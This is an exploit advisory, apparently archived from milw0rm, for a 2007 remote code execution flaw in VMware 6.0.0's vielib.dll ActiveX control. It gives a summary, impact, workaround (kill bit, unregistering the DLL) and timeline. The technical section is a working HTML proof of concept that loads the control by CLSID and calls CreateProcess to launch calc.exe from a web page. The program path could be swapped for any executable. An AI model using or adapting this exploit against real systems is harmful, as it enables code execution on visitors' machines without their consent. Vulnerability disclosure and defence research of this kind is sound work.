:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:
VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx Remode Code Execution Exploit
======================================================================================
Internal ID: VULWAR200707300.
-----------
Introduction
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vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.
Tested In
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- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
Summary
-------
The CreateProcess & CreateProcessEx method doesn't check if they're being called
from the application, or malicious users. Remote Attacker could craft a html page
and execute code in a remote system with the actual user privileges.
Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.
Workaround
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- Activate the Kill bit zero in clsid:0F748FDE-0597-443C-8596-71854C5EA20A
- Unregister vielib.dll using regsvr32.
Timeline
--------
July 30 2007 -- Bug Discovery.
July 30 2007 -- Exploit published.
Credits
-------
* callAX <callAX@shellcode.com.ar>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
Technical Details
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<HTML>
<BODY>
<object id=_9090909090 classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>
function _d0_() {
ba="c:\\windows\\system32\\calc.exe"
ad="c:\\windows\\system32\\calc.exe"
fO="c:\\windows\\system32\\"
Od=1
_9090909090.CreateProcess(ba, ad, fO, Od)
}
</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>
# milw0rm.com [2007-07-30]
